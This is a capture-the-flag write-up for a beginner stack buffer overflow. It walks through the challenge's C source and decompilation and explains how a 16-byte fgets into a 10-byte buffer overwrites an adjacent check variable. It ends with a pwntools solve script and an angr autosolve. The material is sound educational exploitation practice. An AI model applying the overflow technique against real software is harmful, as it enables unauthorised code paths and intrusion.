#rop # Understanding the Challenge The source code of the binary is provided and shown below: ## Source ```c #include <stdio.h> #include <stdlib.h> #include <string.h> //gcc vuln.c -fno-stack-protector -o vuln int read_flag() { char flag[32] = {0}; FILE *fd = NULL; fd = fopen("flag.txt","r"); if(fd == NULL) { puts("Something went wrong while opening the flag file."); exit(-1); } fgets(flag, 0x30, fd); printf("The flag is: %s\n", flag); exit(1); } int main() { int password; char buf[10]; char *var; puts("Hey, how are you doing today?"); fgets(buf,0x10,stdin); var = strtok(buf,"-"); if (!strcmp(var,"good") && password == 0xdeadbeef) { read_flag(); } puts("I guess u just were doing good enough. ¯\\_(ツ)_/¯ "); } ``` We can see the main function and a "win" function that will print the flag. Pretending that we did not have the source, we ca use binaryninja to lift the decompilation to HLIL (decompilation). ## Decompilation ```python int64_t read_flag() __noreturn int64_t var_38 = 0 int64_t var_30 = 0 int64_t var_28 = 0 int64_t var_20 = 0 int64_t var_10 = 0 FILE* rax = fopen(filename: "flag.txt", mode: &data_2008) if (rax != 0) fgets(buf: &var_38, n: 0x30, fp: rax) printf(format: "The flag is: %s\n", &var_38) exit(status: 1) noreturn puts(str: "Something went wrong while opening the flag file.") exit(status: 0xffffffff) noreturn int32_t main(int32_t arg1, char** arg2, char** arg3) void var_1e {Frame offset -1e} int32_t var_14 {Frame offset -14} char** arg3 {Register rdx} char** arg2 {Register rsi} int32_t arg1 {Register rdi} puts(str: "Hey, how are you doing today?") void var_1e fgets(buf: &var_1e, n: 0x10, fp: stdin) int32_t var_14 if (strcmp(strtok(s: &var_1e, delim: &data_2079), "good") == 0 && var_14 == 0xdeadbeef) read_flag() noreturn puts(str: &data_2080) return 0 ``` # The Vuln The vulnerability may be hard to spot in the [C Source](#Source) because the vulnerable snippet is : ```c char buf[10]; ... fgets(buf,0x10,stdin); ``` We can write 0x10(16) bytes into a 0xa(10) byte buffer. Therefore we can overwrite the next 6 bytes on the stack. Taking a look at the [Decompilation](#Decompilation), its a little easier to spot. ```python void var_1e {Frame offset -1e} int32_t var_14 {Frame offset -14} ... void var_1e fgets(buf: &var_1e, n: 0x10, fp: stdin) ``` We can see that we are reading 0x10 bytes into the variable on the stack. Retyping the variable `var_1e` and renaming it will get us a better understanding. We know the input is 0x10 bytes so we can retype to `char[0x10]` The new decompilation looks like: ```python int32_t main(int32_t arg1, char** arg2, char** arg3) char input[0x10] {Frame offset -1e} char** arg3 {Register rdx} char** arg2 {Register rsi} int32_t arg1 {Register rdi} puts(str: "Hey, how are you doing today?") char input[0x10] fgets(buf: &input, n: 0x10, fp: stdin) input[0xe].q = strtok(s: &input, delim: "-") if (strcmp(input[0xe].q, "good") == 0 && input[0xa].d == 0xdeadbeef) read_flag() noreturn puts(str: &data_2080) return 0 ``` We can see that we actual control whats on the stack passed the input buffer, the 4 bytes at `input[0xa]` are controllable. Another way we can find that out is by looking at the unmodified stack variable list: ```python void var_1e {Frame offset -1e} int32_t var_14 {Frame offset -14} ... ``` By subtracting 0x1e and 0x14 we can tell that after 10 bytes we start overwriting `var_14`. # Exploitation We can overflow the input buffer and write 0xdeadbeef. We must also satisfy the constraint with the `strtok` and `strcmp` We can use `pwntools` to interact with the binary with the following template: ```python from pwn import * context.binary = elf = ELF("./vuln") io = elf.process() io.interactive() ``` ## Bypassing first condition The binary calls `var = strtok(input,"-")` and then calls `strcmp(var,"good")` This means our input must contain `-` and directly after the `-` have the string `good\x00`. Notice the null byte, the null byte is needed otherwise the strcmp function will compare the `good` plus the rest of the payload and therefor not pass the check. ```python from pwn import * context.binary = elf = ELF("./vuln") io = elf.process() payload = b"" payload += b"-good\x00" print(repr(payload)) io.sendline(payload) io.interactive() ``` ## Bypassing second condition We can use the overflow to write `0xdeadbeef` in the corect stack location. Because the binary is an x86 64bit program we need to write the value in little endian, which is: `\xef\xbe\xad\xde` (only need 4 bytes really because of `input[0xa].d == 0xdeadbeef` means just the dword) However pwntools can do that as well with `p64(0xdeadbeef)`. We can use `ljust` to pad the current payload to 10 bytes of junk (A) and then write `0xdeadbeef` # Solve ```python from pwn import * context.binary = elf = ELF("./vuln") io = elf.process() payload = b"" payload += b"-good\x00" payload = payload.ljust(10,b"A") payload += p64(0xdeadbeef) io.sendline(payload) io.interactive() ``` # Bonus Autosolve ALMOST works. Angr sucks with strtok for some reason ``` User input at 0x101281 C-Code: fgets((char *)&local_38,0x30,local_10) Control Param: 0 Size: 48 User input at 0x1012d3 C-Code: fgets(local_1e,0x10,stdin) Control Param: 0 Size: 16 user defined sink Address: 0x101314 C-Code: None [!] Path is reachable! Sink reachable with input: b'\x00good\x00AAAA\xef\xbe\xad\xde\xe3\xff' ``` The first nullbyte needs to be `-` ![[Pasted image 20210720121756.png]]